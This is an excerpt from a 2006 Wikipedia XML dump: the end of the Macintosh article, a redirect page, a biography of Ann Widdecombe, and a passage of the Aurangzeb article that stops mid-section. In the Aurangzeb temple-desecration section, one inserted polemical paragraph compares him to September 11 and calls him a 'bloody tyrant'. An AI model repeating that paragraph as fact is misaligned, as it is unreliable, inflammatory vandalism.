== References ==
* [http://www.mactracker.ca/ MacTracker Macintosh model database], retrieved [[November 4]], [[2005]]
* [http://folklore.org/index.py folklore.org: Macintosh stories], retrieved [[November 9]], [[2005]]
* Guterl, Fred (December 1984): &quot;Design case history: Apple's Macintosh&quot;. ''[[IEEE Spectrum]]''. http://www.cs.ucla.edu/~klinger/mac.html
* Glen Sanford (2005): [http://www.apple-history.com/ Apple History]
* Amit Singh (2005): [http://www.kernelthread.com/mac/oshistory/ A History of Apple's Operating Systems]
* Dan Knight (2005): [http://lowendmac.com/history/1984dk.shtml Macintosh History: 1984]
* Linzmayer, Owen (2004): Apple Confidential 2.0, No Starch Press ISBN 1593270100
* Daring Fireball ([[24 July]], [[2003]]): [http://daringfireball.net/2003/07/market_share Market share]
* News.com: [http://news.com.com/Apple+earnings+sail+past+expectations/2100-1042_3-5534021.html?tag=nefd.top Apple earnings sail past expectations]

== External links ==
* [http://www.apple.com Apple Computer's website]
* [http://www.apple-history.com Apple History - Apple product release history]
* [http://www.macrumors.com MacRumors]
* [http://lowendmac.com Low End Mac&amp;mdash;Apple history and Macintosh profiles]
* [http://static.hugi.is/misc/movies/1984macintro.mov The 1984 introduction of the Macintosh] ([[QuickTime]] movie)
* [http://mxmora.best.vwh.net/JefRaskin.html Articles by Jef Raskin about the history of the Macintosh]
* [http://library.stanford.edu/mac/index.html Making the Macintosh: Technology and Culture in Silicon Valley]
* [http://www.youtube.com/?v=DwqVnk7qQgo Video: Bill Gates talks about the Macintosh]
* [http://www.folklore.org Folklore.org - A collaborative history of the Macintosh, featuring many of the original team members]

{{featured article}}

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[[Category:Personal computers]]

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    </revision>
  </page>
  <page>
    <title>Albrecht Achilles</title>
    <id>2421</id>
    <revision>
      <id>15900838</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Albert_III,_Margrave_of_Brandenburg]]</text>
    </revision>
  </page>
  <page>
    <title>Ann Widdecombe</title>
    <id>2422</id>
    <revision>
      <id>41717040</id>
      <timestamp>2006-03-01T06:48:42Z</timestamp>
      <contributor>
        <username>Gandalfxviv</username>
        <id>851818</id>
      </contributor>
      <minor />
      <comment>bypassed disambiguation MA</comment>
      <text xml:space="preserve">'''Ann Noreen Widdecombe''' (born [[October 4]], [[1947]], in [[Bath]], [[Somerset]]) is a [[United Kingdom|British]] [[Conservative Party (UK)|Conservative Party]] [[politician]]. She is the [[Member of Parliament]] for [[Maidstone and The Weald (UK Parliament constituency)|Maidstone and The Weald]], a [[Privy Counsellor]], and an outspoken supporter of traditional [[family values]]. She holds Honours degrees in [[Latin]] ([[Bachelor of Arts|BA]] [[University of Birmingham]]) and in [[Philosophy, Politics and Economics]] ([[Master of Arts (postgraduate)|MA]] [[Lady Margaret Hall, Oxford]]).

From 1976 to 1978, Widdecombe was a [[Runnymede (borough)|Runnymede District]] [[Councillor]]. She contested the seat of [[Burnley (UK Parliament constituency)|Burnley]] in 1979, and then [[Plymouth Devonport (UK Parliament constituency)|Plymouth Devonport]] in 1983 against [[David Owen]]. She was first elected to the [[Palace of Westminster|Houses of Parliament]] in the [[United Kingdom general election, 1987|1987 UK general election]] as member for the constituency of Maidstone (which became ''Maidstone and The Weald'' in 1997). 

She became the [[Home Office]] Minister in Charge of Prisons in [[John Major]]'s government and in that role visited every single prison. After the fall of the Conservative government to [[Labour Party (UK)|Labour]] in 1997 she served as shadow [[Health Secretary]] and later shadow [[Home Secretary]] under [[William Hague]], but has since retired to the backbenches.

When the voters of [[Eastbourne (UK Parliament constituency)|Eastbourne]] returned a [[Liberal Democrats (UK)|Liberal Democrat]] candidate, in the [[by-election]] caused by the assassination of [[Ian Gow]], she told them &quot;the [[Provisional Irish Republican Army|IRA]] would be toasting their success&quot;.

She is famous for her claim of [[celibacy]] and her outspoken [[conservatism]], and her views concerning [[abortion]] and [[recreational drugs]], which some consider to be antiquated. She made headlines for her policy of applying the standards for handcuffing prisoners in transit to pregnant women, even on visits to hospitals. She claimed that this was necessary because of the risk of their absconding. Along with [[John Gummer]] MP and approximately 400 [[Anglican Church|Anglican]] priests, she converted to [[Roman Catholicism]] in 1993, in the wake of the decision to [[ordain]] women into the [[Church of England]].
She had been educated at a Roman Catholic convent school in [[Bath]], La Sainte Union, despite the fact that her family were not Roman Catholics, because her parents wanted to ensure that she received a good education in a single-sex school. 

During the Conservative leadership election that picked [[William Hague]] she spoke against [[Michael Howard]], under whom she had served when he was [[Home Secretary]]. She remarked &quot;there is something of the night about him&quot; and it is for this remark she is probably most (in)famous. It was considered to be extremely damaging, and Howard came last in that 1997 poll. However, he went on to become party leader in 2003 and some of Howard's more cunning supporters at that time claimed she had meant &quot;there is something of the knight about him&quot;.

She scored an [[own goal]] in calling for a [[zero tolerance]] policy of prosecution for users of [[cannabis (drug)|cannabis]] in her speech at the 2000 Conservative conference, which was well-received by rank-and-file Conservative delegates. However, she alleges that someone connected with [[Francis Maude]] promptly contacted journalists to alert them that fellow Conservative cabinet members were prepared to come out and indicate ''something of ambivalence'' towards their own past experiences with this drug.

During the [[Conservative Party (UK) leadership election, 2001|2001 Conservative leadership election]], after the resignation of [[William Hague]] in the wake of the [[United Kingdom general election, 2001|2001 UK general election]], she could not find sufficient Conservative MPs to support her as a leadership candidate. She supported the unsuccessful leadership campaign of [[Ken Clarke]], and afterwards refused to serve in a Duncan Smith cabinet. 

It is alleged that in preparation for that contest she began the process of softening her image and raising her political profile, but that process appears to be continuing today despite the subsequent selection of [[Iain Duncan Smith]] as the Conservative party leader. Her fellow Conservative MPs and political opponents have been cruel at times about her appearance, dubbing her &quot;Doris Karloff&quot; in reference to horror film actor [[Boris Karloff]]. In 2003, together with another Roman Catholic M.P. [[Edward Leigh]], she proposed an [[constitutional amendment|amendment]] opposing repeal of [[Section 28]] of the [[Local Government Act 1988|Local Government Act]], which banned the promotion of homosexuality.

As a strong, forceful, and clever woman, Widdecombe is arguably a peculiar [[England|English]] [[sex symbol]], and her admirers include [[Bob Geldof]] and [[Eddie Izzard]]. During the 2001 UK general election, ''I Love Ann Widdecombe'' underwear was the top-selling item at Politico's Bookstore, a London shop devoted to political merchandise.

Her non-political accomplishments include being a popular [[novelist]]. In March of 2004 she briefly became the Guardian newspaper's [[agony aunt]], introduced with an [[Emma Brockes]] interview [http://www.guardian.co.uk/g2/story/0,3604,1179972,00.html]. In 2002, she took part in the ITV programme ''[[Celebrity Fit Club]]''. In 2005 BBC Two showed six episodes of The Widdecombe Project, an agony aunt television program. In 2005 she also appeared in [[Celebrity Fit Club]] but this time as a panel member dispensing wisdom and advice to the celebrities taking part.

She has never married and lives with her widowed mother in [[Newington]], [[London]].

In late 2005, she announced her intention to stand down as Member of Parliament for Maidstone and The Weald at the next General Election.
==Bibliography==

* ''An Act of Peace'' by Ann Widdecombe (Weidenfeld &amp; Nicolson, 2005) ISBN 0297829580 
* ''An Act of Treachery'' by Ann Widdecombe (Weidenfeld &amp; Nicolson, 2002) ISBN 0297645730 
* ''The Clematis Tree'' by Ann Widdecombe (Weidenfeld &amp; Nicolson, 2000) ISBN 0297645722   
* ''Ann Widdecombe: Right from the Beginning'' by Nicholas Kochan (Politico's Publishing, 2000) ISBN 1902301552
* ''Inspired and Outspoken: The Collected Speeches of Ann Widdecombe'' edited by John Simmons (Politico's Publishing, 1999) ISBN 1902301226

==External links==

* [http://www.annwiddecombemp.com/ The Widdy Web] official site
* [http://www.conservatives.com/tile.do?def=people.person.page&amp;personID=4791 Ann Widdecombe MP] biography at the site of the Conservative Party
* [http://www.epolitix.com/EN/MPWebsites/Ann+Widdecombe/ ePolitix.com — Ann Widdecombe]
* [http://politics.guardian.co.uk/person/0,9290,-5516,00.html Guardian Unlimited Politics — Ask Aristotle: Ann Widdecombe MP]
* [http://www.theyworkforyou.com/mp/ann_widdecombe/maidstone_and_the_weald TheyWorkForYou.com — Ann Widdecombe MP]
* [http://publicwhip.org.uk/mp.php?mpn=Ann_Widdecombe&amp;mpc=Maidstone+%26amp%3B+The+Weald The Public Whip — Ann Widdecombe MP] voting record
* [http://news.bbc.co.uk/1/shared/mpdb/html/275.stm BBC News — Ann Widdecombe] profile 10 February, 2005
* [http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/3558378.stm BBC News — The Widdecombe Project] about her agony aunt television programme on BBC Two
* [http://politics.guardian.co.uk/redbox/story/0,9029,1180596,00.html ''Buck Up!''] Ann Widdecombe's first agony aunt column for [[The Guardian]] in 2004
*  [http://news.bbc.co.uk/hi/english/entertainment/tv_and_radio/newsid_1436000/1436000.stm Ann Widdecombe's ''Weird Weekend''] from the [[BBC]] in 2001
* [http://dmoz.org/Regional/Europe/United_Kingdom/Society_and_Culture/Politics/Parties/Conservative/MPs/Widdecombe,_Ann/ Open Directory Project — Ann Widdecombe] directory category

[[Category:1947 births|Widdecombe, Ann]]
[[Category:Living people|Widdecombe, Ann]]
[[Category:Natives of Somerset|Widdecombe, Ann]]
[[Category:Former students of Lady Margaret Hall, Oxford|Widdecombe, Ann]]
[[Category:University of Birmingham alumni|Widdecombe, Ann]]
[[Category:British MPs|Widdecombe, Ann]]
[[Category:British women|Widdecombe, Ann]]
[[Category:Members of the Privy Council|Widdecombe, Ann]]
[[Category:Roman Catholic politicians|Widdecombe, Ann]]
[[Category:UK Conservative Party politicians|Widdecombe, Ann]]
[[Category:Women writers|Widdecombe, Ann]]
[[Category:Councillors in south east England|Widdecombe, Ann]]


[[sv:Ann Widdecombe]]
[[sco:Ann Widdecombe]]</text>
    </revision>
  </page>
  <page>
    <title>Aurangzeb</title>
    <id>2425</id>
    <revision>
      <id>42094207</id>
      <timestamp>2006-03-03T20:07:59Z</timestamp>
      <contributor>
        <ip>200.79.67.254</ip>
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      <comment>/* Hindu temple desecration */</comment>
      <text xml:space="preserve">{| cellpadding=3px cellspacing=0px class=&quot;toccolours&quot; style=&quot;width:320px;float:right; border:1px #CCCCCC solid; margin:5px&quot;
|+ &lt;big&gt;'''Aurangzeb'''&lt;/big&gt;
|colspan=2 align=center style=&quot;border-top:1px #CCCCCC solid&quot;|
|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Birth name:'''||style=&quot;border-top:1px #CCCCCC solid&quot;|Abu Muzaffar Muhiuddin Muhammad Aurangzeb Alamgir
|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Title:'''||style=&quot;border-top:1px #CCCCCC solid&quot;|[[Emperor]] of [[Mughal Empire]]&lt;br /&gt;
|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Birth:'''||style=&quot;border-top:1px #CCCCCC solid&quot;|[[November 3]], [[1618]]
|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Birthplace:'''||style=&quot;border-top:1px #CCCCCC solid&quot;| [[Dahod]], [[India]]
|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Death:'''||style=&quot;border-top:1px #CCCCCC solid&quot;|[[March 3]], [[1707]]
|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Succeeded by:'''||style=&quot;border-top:1px #CCCCCC solid&quot;|[[Bahadur Shah I]]
|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Marriage:'''||style=&quot;border-top:1px #CCCCCC solid&quot;|
*[[Rabia Durrani]]
*[[Dilras Bano Begam]]

|-
|align=left style=&quot;border-top:1px #CCCCCC solid&quot;|'''Children:'''||style=&quot;border-top:1px #CCCCCC solid&quot;|
*[[Bahadur Shah I]], son&lt;br&gt;
*[[Azam Shah]], son&lt;br&gt;
*[[Muhammad Kam Bakshh]], son&lt;br&gt;
*[[Zebunnisa]], daughter&lt;br&gt;
|}

Aurangzeb (from [[Persian language|Persian]], اورنگ‌زیب meaning &quot;befitting the throne&quot;),([[November 3]], [[1618]] &amp;ndash; [[March 3]], [[1707]], also known as '''Alamgir I''', was the ruler of the [[Mughal Empire]] from 1658 until 1707. He was and is a very controversial figure in [[India]]n history. 

Unlike his predecessors, Aurangzeb led a remarkably austere and pious life. Strict adherence to [[Islam]] and [[Sharia]] (Islamic law)&amp;mdash;as he interpreted them&amp;mdash;were the foundations of his reign. He backed up his faith with action, abandoning the religious tolerance of his predecessors. During his reign many [[Hindu]] temples were defaced and destroyed, and many [[India]]ns converted to [[Islam]].

Aurangzeb used vast military might to expand and consolidate the Mughal empire, at high cost.  His rule inspired revolt which he constrained during his life, but which exploded and completely changed India after his death. His policies polarized India in ways that continue to this day.

==Rise to throne==
===Early life===
Aurangzeb (full name: ''Abu Muzaffar Muhiuddin Muhammad Aurangzeb Alamgir'' --[[Persian language|Persian]]: بو مظفر محی الدین محمد اورنگزیب عالمگیر )  was the third son of the fifth great [[Mughal]] emperor [[Shah Jahan]] (builder of the [[Taj Mahal]]), and
Arjumand Banu Begum (also known as [[Mumtaz Mahal]]). After a rebellion by his father, part of Aurangzeb's childhood was spent as a kind of hostage at his grandfather [[Jahangir]]'s court.

After Jahangir's death in [[1627]], Aurangzeb returned to live with his parents. Shah Jahan followed the Mughal practice of assigning authority to his sons,  and in [[1634]] made Aurangzeb [[Subahdar]] (governor) of the [[Deccan]]. He moved to Kirki, which in time he renamed [[Aurangabad]]. In [[1637]], he married, Rabia Daurrani – her tomb is in Aurangabad. During this period the Deccan was relatively peaceful. In the Mughal court, however, Shah Jahan began to show greater and greater favoritism to his eldest son [[Dara Shikoh]]. 

In [[1644]], Aurangzeb's sister [[Jahanara Begum]] was accidently burned in [[Agra]]. This event precipitated a family crisis which had political consequences. Aurangzeb suffered his father's displeasure when returning to Agra three weeks after the event rather than coming immediately after hearing of the accident. Shah Jahan dismissed him as the governor of Deccan. Aurangzeb later claimed ([[1654]]) to have resigned the post in protest of his father favoring Dara.

Aurangzeb's fortunes continued to decline. In [[1645]], he was barred from the court for seven months. After this incident, Shah Jahan appointed him governor of [[Gujarat]]. He performed well and was rewarded. In [[1647]], Shah Jahan made him governor of [[Balkh]] and [[Badakhshan]] (near modern [[Turkmenistan]] and [[Afghanistan]]), replacing Aurangzeb's ineffective brother [[Murad Baksh]]. These areas were at the time under attack from a variety of forces. Aurangzeb's military skill proved successful, and the story of how he spread his prayer rug and prayed in the midst of battle brought him much fame.

He was appointed governor of [[Multan]] and [[Sindh]] and began a protracted military struggle against the Persian army in an effort to capture the city of [[Kandahar]]. He failed, and fell again into his father's disfavor.

In [[1652]], Aurangzeb was again appointed governor of the [[Deccan]]. Both man and place had changed in the interim. The Deccan produced poor tax revenue for the Mughals. As a youth in his previous term, Aurangzeb ignored the problem, allowing state-sanctioned corruption and extortion to grow. This time Aurangzeb set about reforming the system, but his efforts often placed additional burdens on the locals, and were poorly received. 

It was during this second governorship that Aurangzeb first recounts destroying a [[Hindu]] temple. He also forbade the temple dancers ([[devadasi|devadasis]]) from their practice of &quot;sacred prostitution&quot;. In addition, Aurangzeb's officers began treating non-Muslims harshly, and he defended these practices in letters to Shah Jahan's court. These practices would become themes in Aurangzeb's rule as emperor.

In an effort to raise additional revenues, Aurangzeb attacked the border kingdoms of [[Golconda]] ([[1657]]), and [[Bijapur]] ([[1658]]). In both instances, Shah Jahan called off the attacks near the moment of Aurangzeb's triumph. Even at the time it was believed that the withdrawals had actually been ordered by Prince Dara, in Shah Jahan's name.

===War of succession===
'''[[Shah Jahan]]''' fell ill in [[1657]], and was widely reported to have died. With this news,  the struggle for succession began. Aurangzeb's eldest brother, [[Dara Shikoh]], was regarded as heir apparent, but the succession proved far from certain.

On news of the Shah Jahan's supposed death, his second son, [[Shah Shuja]] declared himself emperor in [[Bengal]]. Imperial armies sent by Dara and Shah Jahan soon restrained this effort, and Shuja retreated. 

Soon after, however his youngest brother [[Murad Baksh]], with secret promises of support from Aurangzeb, declared himself emperor in [[Gujarat]]. 

Aurangzeb, ostensibly in support of Murad, marched north from Aurangabad, gathering support from nobles and generals. Following a series of victories, Aurangzeb declared that Dara had illegally usurped the throne. Shah Jahan, determined that Dara would succeed him, handed over control of the empire to Dara.

[[Maharaja Jaswant Singh]] opposed Aurangzeb at Dharmatpur near [[Ujjain]].

Later a series of bloody battles followed, with troops loyal to Aurangzeb battering Dara's armies. Aurangzeb's forces surrounded [[Agra]]. Fearing for his life, Dara departed [[Agra]] for [[Delhi]], leaving Shah Jahan. The old emperor surrendered the [[Agra Fort|Red Fort]] of Agra to Aurangzeb's nobles, but Aurangzeb refused any meeting with his father, declaring that Dara was his enemy. 

In a sudden reversal, Aurangzeb then had Murad arrested. Murad's supporters fled to Aurangzeb.

Meanwhile Dara gathered his forces, and set up an alliance with Shuja. But the key commander of Dara's armies, the [[Rajput]] general [[Jai Singh]], defected to Aurangzeb, along with many thousand Rajput soldiers. 

Dara fled Delhi, and sought an alliance with Shuja. But Shuja pretended to drop his claim to emperor after Aurangzeb offered him the governorship of [[Bengal]]. This move had the affect of isolating Dara and causing some troops to defect to Aurangzeb. 

Shuja, however, uncertain of Aurangzeb's sincerity, continued to battle Aurangzeb. His forces suffered a series of defeats at Aurangzeb's hands. At length, Shuja went into exile in [[Arakan]] (in present-day [[Myanmar]]) where he disappeared, and was presumed to be dead.

With Shuhja and Murad disposed of, and with Shah Jahan confined in Agra, Aurangzeb pursued Dara, chasing him across what is now northwest India, [[Pakistan]] and [[Afghanistan]]. After a series of battles, defeats and retreats, Dara was betrayed by one of his generals, who arrested and bound him.

In [[1659]], Aurangzeb arranged a formal coronation in [[Delhi]]. He had Dara openly marched in chains back to Delhi;  when Dara finally arrived, he had him executed. Legends about the cruelty of this execution abound, including stories that Aurangzeb had Dara's severed head sent to Shah Jahan.

Aurangzeb kept Shah Jahan under house arrest at the Red Fort in Agra. Legends concerning this imprisonment abound, for the fort is ironically close to Shah Jahan's great architectural masterpiece,  the [[Taj Mahal]]. More details of these legends may be found in the article on [[Shah Jahan]].

==Aurangzeb's Reign==
[[Image:Aurangzeb2.jpg|frame|right|Portrait as emperor]]
===Enforcement of Islamic law===
The Mughals had for the most part been tolerant of non-Muslims, allowing them to practice their customs and religion without too much interference. Though certain Muslim laws had been in place during earlier reigns -- prohibitions against building new Hindu temples, for example, or on the tax on non-Muslims (the [[Jizyah]]), enforcement by earlier emperors had been lax, encouraging a political tolerance toward non-Muslims. 

Up until Aurangzeb's reign, [[India]]n [[Islam]] had been informed by mystical [[Sufi]] precepts. Although Sunni in ancestry, the Emperors from [[Humayun]] on had tolerated or openly embraced the activities of the [[Chisti]] Sufis. But Aurangzeb abandoned many of the more liberal viewpoints of his Mughal ancestors. He espoused a more conservative interpretation of Islamic principles, and behavior based on the [[Sharia]], which he set about codifying through edicts and policies. His [[Fatawa-e-Alamgiri]], a 33 volume compilation of these edicts, established the precedent for civil law based on Sharia, which has influenced Islamic governments to the present day.

Under Aurangzeb, Mughal court life changed dramatically. According to his interpretation, Islam did not allow [[music]], so he banished court musicians, dancers and singers. Further, based on Muslim precepts forbidding images, he stopped the production of representational artwork, including the miniature painting that had reached its zenith before his rule. Soldiers and citizens were also given free rein to deface architectural images -- such as faces, flowers and vines -- even on the walls of  Mughal palaces. Untold thousands of images were destroyed in this way. Aurangzeb gave up the Hindu-inspired practices of former Mughal emperors, especially the practice of 'darshan', or public appearances to bestow blessings, that had been commonplace since the time of Akbar. 

Aurangzeb began to enact and enforce a series of edicts -- with less tolerance for non-Muslims, and with harsh punishments . Most significantly, Aurangzeb initiated laws which specifically interfered with non-Muslim worship. These included the destruction of non-Muslim worship sites, a prohibition of non-Muslim religious gatherings,collection of [[jizya]] tax, the closing of non-Muslim religious schools, and  prohibitions of specific Hindu practices such as [[sati]] (self-immolation by widows), and temple dance. Often the punishment for breaking such laws was death. 

In such a climate of fierce enforcement, the Mughal infrastructure became arbitrary and corrupt. In consequence, instead of acceptance and tolerance, non-Muslims began to feel persecuted and fearful. These feelings  would lead in many instances to open political and military rebellion.

===Expansion of the empire===
From the start of his reign up until his death, Aurangzeb engaged in nearly constant warfare. He built up a massive army, and began a program of military expansion at all the boundaries of his empire.

Aurangzeb pushed into the northwest -- into [[Punjab region|Punjab]], and what is now [[Afghanistan]]. He also drove south, conquering [[Bijapur]] and [[Golconda]], his old enemies. He further attempted to suppress the [[Maratha]] territories, which had recently been liberated from Bijapur by [[Shivaji]]. 

But the combination of military expansion and political intolerance had far deeper consequences. Though he succeeded in expanding Mughal control, it was at an enormous cost in lives and treasure. And as the empire expanded in size, the chain of command grew weaker. 

The [[Sikh]]s of Punjab grew both in strength and numbers in rebellion against Aurangzeb's armies. When the tolerant Muslim kingdoms of Golconda and Bijapur fell beneath Aurangzeb's might, rebellious Hindus flocked to join [[Shivaji]] and the [[Maratha Confederacy]].  For the last 20 years of his life, Aurangzeb engaged in constant battles in the [[Deccan]], at enormous expense. 

Even Aurangzeb's own armies grew restive -- particularly the fierce [[Rajput]]s who were his main source of strength. Aurangzeb gave a wide berth to the Rajputs, who were mostly Hindu. While they fought for Aurangzeb during his life, immediately upon his death they revolted against the Empire.

With so much of his attention on military matters, Aurangzeb's political influence waned, and his provincial governors and generals grew in authority.

===Conversion of non-Muslims===
During Aurangzeb's reign many Indians converted to Islam. 

&quot;Aurangzeb's ultimate aim was conversion of non-Muslims to Islam. Whenever possible the emperor gave out robes of honor, cash gifts, and promotions to converts. It quickly became known that conversion was a sure way to the emperor's favor.&quot; (John F. Richards, p. 177 [http://www.sscnet.ucla.edu/southasia/History/Mughals/Aurang2.html UCLA History of South Asia]).

It has been said that Aurangzeb forcefully converted people, though this may be a matter of interpretation and exaggeration. There can be no question, however, that in economic and political terms, his rule significantly favored Muslims over non-Muslims, or that he specifically attempted to interfere with non-Muslim religious practice through sweeping and often violent methods. 

While Aurangzeb clearly created a climate favorable for conversion -- the carrot of the emperor's favor coupled with the stick of harsh policies -- other factors come into play. No other emperor did so much to impose Islam. No other emperor was so firm in his beliefs or so consistent in his actions. 

While some conversions were likely based only on practical considerations, clearly others converted out of sincere belief -- at least in part inspired by Aurangzeb.

===Hindu temple desecration=== 
No aspect of Aurangzeb's reign is more cited -- or more controversial -- than the numerous desecrations and destruction of Hindu temples. 

During his reign, many hundreds -- perhaps many thousands -- of temples were desecrated: facades and interiors were defaced and their [[murti]]s (idols) looted. In many cases, temples were destroyed entirely; in numerous instances mosques were built on their foundations, sometimes using the same stones.

His edicts show that he authorized and encouraged these acts. Much controversy remains about his motivation. Scholars primarily take two views, saying that destruction was predicated : 
*  by political and military events, typically as punishment for rebellion and for the display of Imperial power only, and that once the point had been made, destruction stopped
Or
* by Islamic precepts, and without regard to political consequences 

There is evidence to support both views, much of it seemingly contradictory -- for example records showing that Aurangzeb authorized subsidies to some temples at the same time as he was destroying others. (A third view, held by some scholars, is that Aurangzeb was motivated by a desire to root out corruption and crime associated with temples.) 

Whatever his motivation, among the temples Aurangzeb destroyed were two most sacred to Hindus, in [[Varanasi]] and [[Mathura]]. In both cases, he had large mosques built on the sites. 

The Kesava Deo temple in Mathura, marked the place Hindus believe was the birth place of Shri [[Krishna]]. The temple had large, gilded spires that could be seen from Agra. In [[1661]] Aurangzeb ordered the demolition of the temple, and constructed the Katra Masjid mosque. Traces of the ancient Hindu temple can be seen from the back of the mosque. 

Aurangzeb also destroyed what was the most famous temple in Varanasi, [[Vishwanath Temple]], dedicated to Shiva. The temple had changed location over the years, but in [[1585]] [[Akbar]] had authorized its location at [[Gyan Vapi]]. Aurangzeb ordered its demolition in [[1669]] and constructed a mosque on the site, whose minarets stand 71 metres above the [[Ganges]]. Traces of the old temple can be seen behind the mosque. 

Aurangzeb was an intolerant tyrant, power thirsty. Precursor of September 11, he was already doing that in India destroying temples and killing his people. To get to power he killed his siblings and emprisioned his father. He was just a bloody tyrant, he had not respect for honor nor moral.  

Centuries later, emotional debate about these acts continue.

==Impact of Aurangzeb's reign==
As a reaction to Aurangzeb's political and religious expansionist policies, and to his discriminatory laws, a momentous change occurred in India.  India's politics had been previously based on tribal and geographic boundaries, but now peoples began to identify and align according to their religions. This development would inform all subsequent Indian history.

===Hindu rebellion===
Many Hindu subjects rebelled against Aurangzeb's policies. 

From the beginning of his reign, Aurangzeb permitted and encouraged the defacement and destruction of Hindu temples. Other edicts added to the impact. In [[1665]] he forbade Hindus to display illuminations at Diwali festivals. Hindu religious fairs were outlawed in [[1668]]. The following year he prohibited construction of Hindu temples as well as the repair of old ones. In [[1671]] Aurangzeb issued an order that only Muslims could be landlords of crown lands. He called upon provincial Viceroys to dismiss all Hindu clerks. In [[1674]] certain lands held by Hindus in Gujarat were confiscated. The customs duties levied on merchants was doubled for non-Muslims.  In [[1679]], contrary to the advice of many of his court nobles and theologians, Aurangzeb reimposed the [[Jizya]] or poll tax on non-Muslims. 

In [[1668]] the Hindu [[Jat]]s in the Agra district revolted. Though they suffered horrendous loss of life, the revolt continued for years. In [[1681]], the Jats attacked and desecrated [[Akbar]]'s tomb in [[Sikandra]].

In [[1672]] the [[Satnami]]s, a Hindu sect concentrated in an area near Delhi, staged an armed rebellion, plundering villages and defeating Mughal forces in a press toward Delhi. Aurangzeb sent an army of ten thousand, including his Imperial Guard, and put the rebellion down at great cost of life.

Hindu [[Rajputana]], which had been a loyal Mughal vassal state, grew restive. The Jaipur Rajputs led by Jai Singh continued loyal, but other Rajput kingdoms didn't. With its Maharaja [[Jaswant Singh]] died in [[1679]], Aurangzeb seized control of [[Jodhpur]], destroying many temples. He also moved on Udaipur.  There was never a clear resolution to this war.

Hindu military leaders and their troops banded together in various alliances throughout Aurangzeb's reign, initiating nearly constant battles and bloodshed. Among the most notable alliances was the [[Maratha Confederacy]]. At the same time [[Sikh]]s were forming the militant [[Khalsa]].

===The Deccan wars and the rise of the Marathas===
In the time of Shah Jahan, the Deccan had been controlled by three Muslim kingdoms: Ahmednagar, Bijapur and Golconda. Following a series of battles, Ahmendnagar was effectively divided, with large portions of the kingdom ceded to the Mughals and the balance to Bijapur. One of Ahmednagar's generals, a Hindu [[Maratha]] named [[Shahaji|Shahji]], retreated to Bijapur. Shahji left in behind in [[Pune]] his wife and young son [[Shivaji]]. 

In 1657, while Aurangzeb attacked Golconda and Bijapur, Shivaji, using guerrilla tactics, took control of three Bijapuri forts formerly controlled by his father. With these victories, Shivaji assumed defacto leadership of many independent Maratha clans. The Marathas harried the flanks of the warring Bijapuris and Mughals, gaining weapons, forts, and territories. During the war of succession, Shivaji's small and ill-equipped army survived an all out Bijapuri attack, and Shivaji personally killed the attacking general, [[Afzul Khan]]. With this event, the Marathas transformed into a powerful military force, capturing more and more Bijapuri and Mughal territory.

Following his coronation in [[1659]], Aurangzeb sent his trusted general and maternal uncle [[Shaista Khan]] to the Deccan to recover his lost forts. Shaista Khan drove into Marathi territory, and took up residence in [[Pune]]. In a daring raid, Shivaji retook Pune, even cutting off Shaista Khan's thumb as he fled. Once more the Marathis rallied to his leadership, taking back the territory. 

Aurangzeb for the next few years ignored the rise of the Marathas. Shivaji led by inspiration, not by any official authority, and the Marathas continued to capture forts belonging to both Mughals and Bijapur. At last Aurangzeb sent his Jaipuri general [[Jai Singh]], a Hindu, to attack the Marathas. 

Jai Singh's blistering attacks were so successful that he was able to persuade Shivaji to agree to peace by becoming a Mughal vassal. But when Shivaji and his son accompanied Jai Singh to Agra to meet Aurangzeb, confusion occurred, ending in an altercation at he fealty ceremony. As a result, Shivaji  and his son [[Sambhaji]] were placed under house arrest in Agra, from which they managed to escape.

Shivaji returned to the Deccan, successfully drove out the Mughal armies, and was crowned [[Chhatrapati]] or king of the Maratha confederacy in [[1674]]. While Aurangzeb continued to send troops against him, Shivaji expanded Maratha control throughout the Deccan until his death in [[1680]].

Sambhaji succeeded in [[1681]]. Though he was less effective militarily and politically, Mughal efforts to control the Deccan continued to fail. 

Aurangzeb's son Akbar left the Mughal court and joined with Sambhaji, inspiring some Mughal forces to join the Marathas. Aurangzeb in response moved his court to Aurangabad and took over command of the Deccan campaign. More battles ensued, and Akbar fled to Persia.

Aurangzeb captured [[Sambhaji]] and publicly tortured and killed him in [[1688]]. His brother [[Rajaram]] succeeded, but the confederacy fell into disarray. Surprisingly, however, this collapse provided the Marathas with great military advantage. Maratha Sardars(commanders) raised individual battles against the Mughals, and territory changed hands again and again during years of endless warfare. Since there was no central authority in control, Aurangzeb was forced to contest every inch of territory, at great cost in lives and treasure. Even as Aurangzeb drove west, deep into Maratha territory(notably conquering [[Satara]]), the Marathas expanded attacks eastward into Mughal lands, including Mughal-held [[Malwa]] and [[Hyderabad State|Hyderabad]]. 

Aurangzeb waged continual war for more than two decades with no resolution. After Aurangzeb's death, new leadership arose among the Marathas, who soon became unified under the rule of the [[Peshwa]]s.

===Defiance of the Sikhs and the rise of the Khalsa===
Since its founding by [[Guru Nanak]] in the 1500s, [[Sikh]]ism grew in popularity throughout India, particularly in the Punjab. In the years following the persecution and death of the fifth [[Guru Arjan Dev]] by Aurangzeb's grandfather [[Jahangir]], the Sikhs had become increasingly militant and defiant. 

Early in Aurangzeb's reign, various insurgent groups of Sikhs engaged Mughal troops in increasingly bloody battles. In 1670, the ninth [[Sikh]] Guru, [[Guru Tegh Bahadur|Guru Tegh Bahadur Ji]] encamped in Delhi, receiving large numbers of followers. Aurangzeb regarded this popularity as a potential threat, and determined to subdue it. But Mughal skirmishes with the increasingly militant Sikhs continued.

Sikhs and Kashmiri Pandits recount that in [[1675]] a group of Kashmiri brahmins, who were of the Hindu faith, were being pressured by Muslim authorities to convert to Islam and approached Guru Tegh Bahadur with their dilemma.  To demonstrate a spirit of unity and tolerance, the Guru agreed to help the brahmins: He told them to inform Aurangzeb that the brahmins would convert only if Guru Tegh Bahadur himself was converted.  

